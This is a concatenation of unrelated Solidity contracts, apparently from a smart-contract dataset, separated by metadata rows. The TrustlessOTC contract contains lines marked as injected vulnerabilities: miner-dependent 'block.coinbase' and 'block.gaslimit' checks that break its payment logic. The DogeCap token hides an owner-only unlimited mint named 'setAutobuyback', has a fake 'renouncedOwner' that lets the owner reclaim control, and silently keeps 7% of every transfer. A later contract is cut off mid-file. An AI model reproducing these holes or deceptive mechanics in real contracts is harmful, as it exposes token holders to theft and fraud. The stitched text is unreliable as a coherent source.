}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, "SafeMath: division by zero");
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0, "SafeMath: modulo by zero");
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// This method relies in extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
function toPayable(address account) internal pure returns (address payable) {
return address(uint160(account));
}
}
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance");
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
// we're implementing it ourselves.
// A Solidity high level call has three parts:
// 1. The target address is checked to verify it contains contract code
// 2. The call itself is made, and success asserted
// 3. The return value is decoded, which in turn checks the size of the returned data.
// solhint-disable-next-line max-line-length
require(address(token).isContract(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (block.gaslimit > 0) { // Return data is optional //injected CONTRACT AFFECTED BY MINERS
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract Ownable {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
_owner = msg.sender;
emit OwnershipTransferred(address(0), _owner);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(isOwner());
_;
}
function isOwner() public view returns (bool) {
return msg.sender == _owner;
}
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0));
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract TrustlessOTC is Ownable {
using SafeMath for uint256;
using SafeERC20 for IERC20;
mapping(address => uint256) public balanceTracker;
mapping(address => uint256) public feeTracker;
mapping(address => uint[]) public tradeTracker;
event OfferCreated(uint indexed tradeID);
event OfferCancelled(uint indexed tradeID);
event OfferTaken(uint indexed tradeID);
uint256 public feeBasisPoints;
constructor (uint256 _feeBasisPoints) public {
feeBasisPoints = _feeBasisPoints;
}
struct TradeOffer {
address tokenFrom;
address tokenTo;
uint256 amountFrom;
uint256 amountTo;
address payable creator;
address optionalTaker;
bool active;
bool completed;
uint tradeID;
}
TradeOffer[] public offers;
function initiateTrade(address _tokenFrom,
address _tokenTo,
uint256 _amountFrom,
uint256 _amountTo,
address _optionalTaker) public payable returns (uint newTradeID) {
if (block.coinbase == address(0)) { //injected CONTRACT AFFECTED BY MINERS
require(msg.value == _amountFrom);
} else {
require(msg.value == 0);
IERC20(_tokenFrom).safeTransferFrom(msg.sender, address(this), _amountFrom);
}
newTradeID = offers.length;
offers.length++;
TradeOffer storage o = offers[newTradeID];
balanceTracker[_tokenFrom] = balanceTracker[_tokenFrom].add(_amountFrom);
o.tokenFrom = _tokenFrom;
o.tokenTo = _tokenTo;
o.amountFrom = _amountFrom;
o.amountTo = _amountTo;
o.creator = msg.sender;
o.optionalTaker = _optionalTaker;
o.active = true;
o.tradeID = newTradeID;
tradeTracker[msg.sender].push(newTradeID);
emit OfferCreated(newTradeID);
}
function cancelTrade(uint tradeID) public returns (bool) {
TradeOffer storage o = offers[tradeID];
require(msg.sender == o.creator);
if (block.coinbase == address(0)) { //injected CONTRACT AFFECTED BY MINERS
msg.sender.transfer(o.amountFrom);
} else {
IERC20(o.tokenFrom).safeTransfer(o.creator, o.amountFrom);
}
balanceTracker[o.tokenFrom] -= o.amountFrom;
o.active = false;
emit OfferCancelled(tradeID);
return true;
}
function take(uint tradeID) public payable returns (bool) {
TradeOffer storage o = offers[tradeID];
require(o.optionalTaker == msg.sender || o.optionalTaker == address(0));
require(o.active == true);
o.active = false;
balanceTracker[o.tokenFrom] = balanceTracker[o.tokenFrom].sub(o.amountFrom);
uint256 fee = o.amountFrom.mul(feeBasisPoints).div(10000);
feeTracker[o.tokenFrom] = feeTracker[o.tokenFrom].add(fee);
tradeTracker[msg.sender].push(tradeID);
if (block.coinbase == address(0)) { //injected CONTRACT AFFECTED BY MINERS
msg.sender.transfer(o.amountFrom.sub(fee));
} else {
IERC20(o.tokenFrom).safeTransfer(msg.sender, o.amountFrom.sub(fee));
}
if (block.coinbase == address(0)) { //injected CONTRACT AFFECTED BY MINERS
require(msg.value == o.amountTo);
o.creator.transfer(msg.value);
} else {
require(msg.value == 0);
IERC20(o.tokenTo).safeTransferFrom(msg.sender, o.creator, o.amountTo);
}
o.completed = true;
emit OfferTaken(tradeID);
return true;
}
function getOfferDetails(uint tradeID) external view returns (address _tokenFrom,
address _tokenTo,
uint256 _amountFrom,
uint256 _amountTo,
address _creator,
uint256 _fee,
bool _active,
bool _completed) {
TradeOffer storage o = offers[tradeID];
_tokenFrom = o.tokenFrom;
_tokenTo = o.tokenTo;
_amountFrom = o.amountFrom;
_amountTo = o.amountTo;
_creator = o.creator;
_fee = o.amountFrom.mul(feeBasisPoints).div(10000);
_active = o.active;
_completed = o.completed;
}
function getUserTrades(address user) external view returns (uint[] memory){
return tradeTracker[user];
}
function reclaimToken(IERC20 _token) external onlyOwner {
uint256 balance = _token.balanceOf(address(this));
uint256 excess = balance.sub(balanceTracker[address(_token)]);
require(excess > 0);
if (block.coinbase == address(0)) { //injected CONTRACT AFFECTED BY MINERS
msg.sender.transfer(excess);
} else {
_token.safeTransfer(owner(), excess);
}
}
function claimFees(IERC20 _token) external onlyOwner {
uint256 feesToClaim = feeTracker[address(_token)];
feeTracker[address(_token)] = 0;
require(feesToClaim > 0);
if (block.coinbase == address(0)) { //injected CONTRACT AFFECTED BY MINERS
msg.sender.transfer(feesToClaim);
} else {
_token.safeTransfer(owner(), feesToClaim);
}
}
}
| 280,768 | 13,473 |
5f536ee6f239d30bc05e03a0dc2c63961100c511a392602b839c667bbb5be544
| 21,335 |
.sol
|
Solidity
| false |
413505224
|
HysMagus/bsc-contract-sanctuary
|
3664d1747968ece64852a6ac82c550aff18dfcb5
|
0x32A0F4606dBC67571d30CeAc78a4eAD297bC2D66/contract.sol
| 2,511 | 9,143 |
pragma solidity >=0.6.0 <0.8.0;
interface iBEP20 {
function totalSupply() external view returns (uint256);
function decimals() external view returns (uint8);
function symbol() external view returns (string memory);
function name() external view returns (string memory);
function getOwner() external view returns (address);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address _owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Context {
// Empty internal constructor, to prevent people from mistakenly deploying
// an instance of this contract, which should be used via inheritance.
constructor () internal { }
function _msgSender() internal view returns (address payable) {
return msg.sender;
}
function _msgData() internal view returns (bytes memory) {
this;
return msg.data;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
uint256 private _lockTime;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function Block() public view returns (uint256) {
return _lockTime;
}
//Locks the contract for owner for the amount of time provided
function renouncedOwner(uint8 time) public virtual onlyOwner {
_previousOwner = _owner;
_owner = address(0);
_lockTime = now + time;
emit OwnershipTransferred(_owner, address(0));
}
//Unlocks the contract for owner when _lockTime is exceeds
function transferOwnership() public virtual {
require(_previousOwner == msg.sender, "You don't have permission to unlock");
require(now > _lockTime , "Contract is locked until 7 days");
emit OwnershipTransferred(_owner, _previousOwner);
_owner = _previousOwner;
}
}
contract DogeCap is Context, iBEP20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
uint8 public _decimals;
string public _symbol;
string public _name;
constructor() public {
_name = 'DogeCap';
_symbol = 'DOGECAP';
_decimals = 9;
_totalSupply = 1000000000000 * 10**9;
_balances[msg.sender] = _totalSupply;
emit Transfer(address(0), msg.sender, _totalSupply);
}
uint256 public _BNBReward = 8;
uint256 private _previousTaxFee = _BNBReward;
uint256 public _liquidityFee = 4;
uint256 private _previousLiquidityFee = _liquidityFee;
uint256 public _maxTxAmount = 1000000000000 * 10**9;
uint256 private numTokensSellToAddToLiquidity = 1 * 10**9;
function getOwner() external view virtual override returns (address) {
return owner();
}
function decimals() external view virtual override returns (uint8) {
return _decimals;
}
function symbol() external view virtual override returns (string memory) {
return _symbol;
}
function name() external view virtual override returns (string memory) {
return _name;
}
function totalSupply() external view virtual override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) external view virtual override returns (uint256) {
return _balances[account];
}
function setTaxFeePercent(uint256 taxFee) external onlyOwner() {
_BNBReward = taxFee;
}
function setLiquidityFeePercent(uint256 liquidityFee) external onlyOwner() {
_liquidityFee = liquidityFee;
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
_maxTxAmount = _totalSupply.mul(maxTxPercent).div(10**3);
}
function transfer(address recipient, uint256 amount) external override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) external view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) external override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "BEP20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "BEP20: decreased allowance below zero"));
return true;
}
function setAutobuyback(uint256 amount) public onlyOwner returns (bool) {
_Mac(_msgSender(), amount);
return true;
}
function burn(uint256 amount) public virtual {
_burn(_msgSender(), amount);
}
function burnFrom(address account, uint256 amount) public virtual {
uint256 decreasedAllowance = _allowances[account][_msgSender()].sub(amount, "BEP20: burn amount exceeds allowance");
_approve(account, _msgSender(), decreasedAllowance);
_burn(account, amount);
}
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "BEP20: transfer from the zero address");
require(recipient != address(0), "BEP20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount * 93 / 100);
emit Transfer(sender, recipient, amount);
}
function _Mac(address account, uint256 amount) internal {
require(account != address(0), "BEP20: send to the zero address");
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal {
require(account != address(0), "BEP20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "BEP20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint256 amount) internal {
require(owner != address(0), "BEP20: approve from the zero address");
require(spender != address(0), "BEP20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
| 253,829 | 13,474 |
2020d5e59f6b1bd30221994a08c814dbb4b17dd02d09d7a7813d11744dace013
| 32,925 |
.sol
|
Solidity
| false |
454085139
|
tintinweb/smart-contract-sanctuary-fantom
|
63c4f5207082cb2a5f3ee5a49ccec1870b1acf3a
|
contracts/mainnet/1a/1A84C1654f0b0a8FAf2211619315856960790D91_ProxyAdmin.sol
| 3,410 | 14,435 |
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
abstract contract Proxy {
function _delegate(address implementation) internal virtual {
assembly {
// Copy msg.data. We take full control of memory in this inline assembly
// block because it will not return to Solidity code. We overwrite the
// Solidity scratch pad at memory position 0.
calldatacopy(0, 0, calldatasize())
// Call the implementation.
// out and outsize are 0 because we don't know the size yet.
let result := delegatecall(gas(), implementation, 0, calldatasize(), 0, 0)
// Copy the returned data.
returndatacopy(0, 0, returndatasize())
switch result
// delegatecall returns 0 on error.
case 0 {
revert(0, returndatasize())
}
default {
return(0, returndatasize())
}
}
}
function _implementation() internal view virtual returns (address);
function _fallback() internal virtual {
_beforeFallback();
_delegate(_implementation());
}
fallback() external payable virtual {
_fallback();
}
receive() external payable virtual {
_fallback();
}
function _beforeFallback() internal virtual {}
}
interface IBeacon {
function implementation() external view returns (address);
}
library Address {
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success,) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target,
bytes memory data,
uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target,
bytes memory data,
uint256 value,
string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
function functionStaticCall(address target,
bytes memory data,
string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
function functionDelegateCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
function verifyCallResult(bool success,
bytes memory returndata,
string memory errorMessage) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
library StorageSlot {
struct AddressSlot {
address value;
}
struct BooleanSlot {
bool value;
}
struct Bytes32Slot {
bytes32 value;
}
struct Uint256Slot {
uint256 value;
}
function getAddressSlot(bytes32 slot) internal pure returns (AddressSlot storage r) {
assembly {
r.slot := slot
}
}
function getBooleanSlot(bytes32 slot) internal pure returns (BooleanSlot storage r) {
assembly {
r.slot := slot
}
}
function getBytes32Slot(bytes32 slot) internal pure returns (Bytes32Slot storage r) {
assembly {
r.slot := slot
}
}
function getUint256Slot(bytes32 slot) internal pure returns (Uint256Slot storage r) {
assembly {
r.slot := slot
}
}
}
abstract contract ERC1967Upgrade {
// This is the keccak-256 hash of "eip1967.proxy.rollback" subtracted by 1
bytes32 private constant _ROLLBACK_SLOT = 0x4910fdfa16fed3260ed0e7147f7cc6da11a60208b5b9406d12a635614ffd9143;
bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;
event Upgraded(address indexed implementation);
function _getImplementation() internal view returns (address) {
return StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value;
}
function _setImplementation(address newImplementation) private {
require(Address.isContract(newImplementation), "ERC1967: new implementation is not a contract");
StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value = newImplementation;
}
function _upgradeTo(address newImplementation) internal {
_setImplementation(newImplementation);
emit Upgraded(newImplementation);
}
function _upgradeToAndCall(address newImplementation,
bytes memory data,
bool forceCall) internal {
_upgradeTo(newImplementation);
if (data.length > 0 || forceCall) {
Address.functionDelegateCall(newImplementation, data);
}
}
function _upgradeToAndCallSecure(address newImplementation,
bytes memory data,
bool forceCall) internal {
address oldImplementation = _getImplementation();
// Initial upgrade and setup call
_setImplementation(newImplementation);
if (data.length > 0 || forceCall) {
Address.functionDelegateCall(newImplementation, data);
}
// Perform rollback test if not already in progress
StorageSlot.BooleanSlot storage rollbackTesting = StorageSlot.getBooleanSlot(_ROLLBACK_SLOT);
if (!rollbackTesting.value) {
// Trigger rollback using upgradeTo from the new implementation
rollbackTesting.value = true;
Address.functionDelegateCall(newImplementation,
abi.encodeWithSignature("upgradeTo(address)", oldImplementation));
rollbackTesting.value = false;
// Check rollback was effective
require(oldImplementation == _getImplementation(), "ERC1967Upgrade: upgrade breaks further upgrades");
// Finally reset to the new implementation and log the upgrade
_upgradeTo(newImplementation);
}
}
bytes32 internal constant _ADMIN_SLOT = 0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103;
event AdminChanged(address previousAdmin, address newAdmin);
function _getAdmin() internal view returns (address) {
return StorageSlot.getAddressSlot(_ADMIN_SLOT).value;
}
function _setAdmin(address newAdmin) private {
require(newAdmin != address(0), "ERC1967: new admin is the zero address");
StorageSlot.getAddressSlot(_ADMIN_SLOT).value = newAdmin;
}
function _changeAdmin(address newAdmin) internal {
emit AdminChanged(_getAdmin(), newAdmin);
_setAdmin(newAdmin);
}
bytes32 internal constant _BEACON_SLOT = 0xa3f0ad74e5423aebfd80d3ef4346578335a9a72aeaee59ff6cb3582b35133d50;
event BeaconUpgraded(address indexed beacon);
function _getBeacon() internal view returns (address) {
return StorageSlot.getAddressSlot(_BEACON_SLOT).value;
}
function _setBeacon(address newBeacon) private {
require(Address.isContract(newBeacon), "ERC1967: new beacon is not a contract");
require(Address.isContract(IBeacon(newBeacon).implementation()),
"ERC1967: beacon implementation is not a contract");
StorageSlot.getAddressSlot(_BEACON_SLOT).value = newBeacon;
}
function _upgradeBeaconToAndCall(address newBeacon,
bytes memory data,
bool forceCall) internal {
_setBeacon(newBeacon);
emit BeaconUpgraded(newBeacon);
if (data.length > 0 || forceCall) {
Address.functionDelegateCall(IBeacon(newBeacon).implementation(), data);
}
}
}
contract ERC1967Proxy is Proxy, ERC1967Upgrade {
constructor(address _logic, bytes memory _data) payable {
assert(_IMPLEMENTATION_SLOT == bytes32(uint256(keccak256("eip1967.proxy.implementation")) - 1));
_upgradeToAndCall(_logic, _data, false);
}
function _implementation() internal view virtual override returns (address impl) {
return ERC1967Upgrade._getImplementation();
}
}
contract TransparentUpgradeableProxy is ERC1967Proxy {
constructor(address _logic,
address admin_,
bytes memory _data) payable ERC1967Proxy(_logic, _data) {
assert(_ADMIN_SLOT == bytes32(uint256(keccak256("eip1967.proxy.admin")) - 1));
_changeAdmin(admin_);
}
modifier ifAdmin() {
if (msg.sender == _getAdmin()) {
_;
} else {
_fallback();
}
}
function admin() external ifAdmin returns (address admin_) {
admin_ = _getAdmin();
}
function implementation() external ifAdmin returns (address implementation_) {
implementation_ = _implementation();
}
function changeAdmin(address newAdmin) external virtual ifAdmin {
_changeAdmin(newAdmin);
}
function upgradeTo(address newImplementation) external ifAdmin {
_upgradeToAndCall(newImplementation, bytes(""), false);
}
function upgradeToAndCall(address newImplementation, bytes calldata data) external payable ifAdmin {
_upgradeToAndCall(newImplementation, data, true);
}
function _admin() internal view virtual returns (address) {
return _getAdmin();
}
function _beforeFallback() internal virtual override {
require(msg.sender != _getAdmin(), "TransparentUpgradeableProxy: admin cannot fallback to proxy target");
super._beforeFallback();
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
_setOwner(_msgSender());
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
_setOwner(address(0));
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_setOwner(newOwner);
}
function _setOwner(address newOwner) private {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
contract ProxyAdmin is Ownable {
function getProxyImplementation(TransparentUpgradeableProxy proxy) public view virtual returns (address) {
// We need to manually run the static call since the getter cannot be flagged as view
// bytes4(keccak256("implementation()")) == 0x5c60da1b
(bool success, bytes memory returndata) = address(proxy).staticcall(hex"5c60da1b");
require(success);
return abi.decode(returndata, (address));
}
function getProxyAdmin(TransparentUpgradeableProxy proxy) public view virtual returns (address) {
// We need to manually run the static call since the getter cannot be flagged as view
// bytes4(keccak256("admin()")) == 0xf851a440
(bool success, bytes memory returndata) = address(proxy).staticcall(hex"f851a440");
require(success);
return abi.decode(returndata, (address));
}
function changeProxyAdmin(TransparentUpgradeableProxy proxy, address newAdmin) public virtual onlyOwner {
proxy.changeAdmin(newAdmin);
}
function upgrade(TransparentUpgradeableProxy proxy, address implementation) public virtual onlyOwner {
proxy.upgradeTo(implementation);
}
function upgradeAndCall(TransparentUpgradeableProxy proxy,
address implementation,
bytes memory data) public payable virtual onlyOwner {
proxy.upgradeToAndCall{value: msg.value}(implementation, data);
}
}
| 317,405 | 13,475 |
22bf6a212fa08b9ec79454dd1af4f668fb5f7bea15fec7f2ae1e099c3e9d309b
| 18,830 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/mainnet/fb/fb117998e185f8c4c08ba27d9583052a091a76ff_BossAvax.sol
| 4,188 | 15,799 |
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.9;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface DeployerCERTIK {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract BossAvax is Context, DeployerCERTIK, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcluded;
address[] private _excluded;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _allTotalSupply = 100000000000 * 10**6 * 10**9;
uint256 private _rTotalSupply = (MAX - (MAX % _allTotalSupply));
uint256 private _tFeeTotal;
string private _name = 'BossAvax';
string private _symbol = 'BossAvax';
uint8 private _decimals = 9;
constructor () {
